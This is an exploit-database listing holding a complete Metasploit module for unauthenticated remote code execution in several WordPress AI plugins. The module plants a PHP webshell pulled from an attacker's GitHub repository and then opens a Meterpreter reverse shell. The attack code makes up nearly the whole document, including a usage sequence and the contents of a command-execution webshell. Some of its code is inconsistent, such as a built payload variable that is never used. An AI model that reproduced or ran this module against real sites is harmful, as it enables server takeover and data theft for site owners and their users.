Share
## https://sploitus.com/exploit?id=PACKETSTORM:212390
=============================================================================================================================================
    | # Title     : AI Plugins 1.10.9 Universal RCE Exploit Module                                                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://ai.cibeles.net/                                                                                                     |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/210977/ & 	CVE-2025-23968
    
    [+] Summary : 
              
              This module exploits unauthenticated arbitrary file upload vulnerabilities in multiple
              WordPress AI plugins including Cibeles AI, AI Feeds, and AI Buddy. The vulnerabilities
              allow attackers to upload PHP webshells via GitHub integration functionality.
    [+] POC :  
    
    use exploit/multi/http/wp_ai_plugins_rce
    
    set RHOSTS target.com
    
    set GH_OWNER attacker
    
    set GH_REPO malicious-repo
    
    set GH_TOKEN ghp_xxxxxxxx
    
    set PLUGIN auto
    
    exploit
    
    ##
    # AI Plugins Universal RCE Exploit Module
    # Exploits Cibeles AI, AI Feeds, and AI Buddy vulnerabilities
    # Author: indoushka
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress AI Plugins Universal Unauthenticated RCE',
            'Description' => %q{
              This module exploits unauthenticated arbitrary file upload vulnerabilities in multiple
              WordPress AI plugins including Cibeles AI, AI Feeds, and AI Buddy. The vulnerabilities
              allow attackers to upload PHP webshells via GitHub integration functionality.
            },
            'Author' => [
              'indoushka', # Metasploit module
              'Ryan Kozak' # Original discovery
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-13595'], # Cibeles AI
              ['CVE', '2025-13597'], # AI Feeds  
              ['CVE', '2025-23968'], # AI Buddy
              ['URL', 'https://ai.cibeles.net/'],
              ['URL', 'https://wpcenter.io/']
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Targets' => [['Universal', {}]],
            'DisclosureDate' => '2025-11-27',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => false,
              'PAYLOAD' => 'php/meterpreter/reverse_tcp'
            },
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
          OptString.new('GH_OWNER', [true, 'GitHub repository owner']),
          OptString.new('GH_REPO', [true, 'GitHub repository name']),
          OptString.new('GH_TOKEN', [true, 'GitHub Personal Access Token']),
          OptEnum.new('PLUGIN', [
            true, 
            'Target plugin to exploit', 
            'auto', 
            ['auto', 'cibeles', 'aifeeds', 'aibuddy']
          ])
        ])
      end
    
      def check
        print_status("Checking for vulnerable AI plugins...")
        
        plugins = {
          'cibeles' => '/wp-content/plugins/cibeles-ai/actualizador_git.php',
          'aifeeds' => '/wp-content/plugins/ai-feeds/actualizador_git.php',
          'aibuddy' => '/wp-content/plugins/ai-buddy/actualizador_git.php'
        }
    
        found_plugins = []
    
        plugins.each do |name, path|
          res = send_request_cgi({
            'uri' => normalize_uri(target_uri.path, path),
            'method' => 'GET'
          })
    
          if res && res.code == 200
            print_good("Found vulnerable plugin: #{name}")
            found_plugins << name
          end
        end
    
        if found_plugins.empty?
          return CheckCode::Safe('No vulnerable AI plugins detected')
        end
    
        CheckCode::Appears("Vulnerable plugins: #{found_plugins.join(', ')}")
      end
    
      def exploit
        # Determine which plugin to exploit
        target_plugin = select_target_plugin
        unless target_plugin
          fail_with(Failure::NoTarget, 'No vulnerable plugins found to exploit')
        end
    
        print_status("Exploiting #{target_plugin} plugin...")
    
        case target_plugin
        when 'cibeles', 'aifeeds'
          exploit_actualizador(target_plugin)
        when 'aibuddy'
          exploit_ai_buddy
        end
      end
    
      def select_target_plugin
        if datastore['PLUGIN'] != 'auto'
          return datastore['PLUGIN']
        end
    
        # Auto-detect vulnerable plugins
        plugins = {
          'cibeles' => '/wp-content/plugins/cibeles-ai/actualizador_git.php',
          'aifeeds' => '/wp-content/plugins/ai-feeds/actualizador_git.php',
          'aibuddy' => '/wp-content/plugins/ai-buddy/actualizador_git.php'
        }
    
        plugins.each do |name, path|
          res = send_request_cgi({
            'uri' => normalize_uri(target_uri.path, path),
            'method' => 'GET'
          })
    
          return name if res && res.code == 200
        end
    
        nil
      end
    
      def exploit_actualizador(plugin_name)
        print_status("Exploiting #{plugin_name} via actualizador_git.php...")
    
        # Generate PHP payload
        php_payload = payload.encoded
    
        # Create a simple PHP webshell that will download and execute our payload
        webshell_content = "<?php eval(base64_decode('#{Rex::Text.encode_base64(php_payload)}')); ?>"
    
        # For demonstration, we assume the GitHub repo contains our webshell
        # In real scenario, you'd need to create this repo first
        exploit_uri = "/wp-content/plugins/#{plugin_name}/actualizador_git.php"
    
        params = {
          'owner' => datastore['GH_OWNER'],
          'repo' => datastore['GH_REPO'],
          'ref' => 'main',
          'token' => datastore['GH_TOKEN']
        }
    
        print_status("Sending exploit to #{exploit_uri}...")
        
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, exploit_uri),
          'method' => 'GET',
          'vars_get' => params
        })
    
        unless res
          fail_with(Failure::Unreachable, 'No response received from target')
        end
    
        if res.code == 200
          print_good("Exploit executed successfully")
          
          # Try to trigger the shell
          shell_uri = "/wp-content/plugins/#{plugin_name}/shell.php"
          print_status("Attempting to trigger payload at #{shell_uri}...")
          
          send_request_cgi({
            'uri' => normalize_uri(target_uri.path, shell_uri),
            'method' => 'GET'
          }, 5)
    
        else
          print_error("Exploit failed with HTTP #{res.code}")
        end
      end
    
      def exploit_ai_buddy
        print_status("Exploiting AI Buddy plugin...")
        
        # AI Buddy requires authentication, so we need to handle that differently
        # This is a simplified version - in practice you'd need valid credentials
        
        print_warning("AI Buddy exploitation requires WordPress authentication")
        print_warning("This module currently only supports Cibeles AI and AI Feeds")
        
        fail_with(Failure::NoAccess, 'AI Buddy exploitation requires authentication')
      end
    
      def create_malicious_repo
        # This method would create the necessary GitHub repository
        # with the malicious shell.php file
        print_status("To use this exploit, create a GitHub repository with:")
        print_status("1. A file named 'shell.php' in the main branch")
        print_status("2. Contents: <?php if(isset($_GET['cmd'])){ system(\$_GET['cmd']); } ?>")
        print_status("3. Ensure the GitHub token has repo access")
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================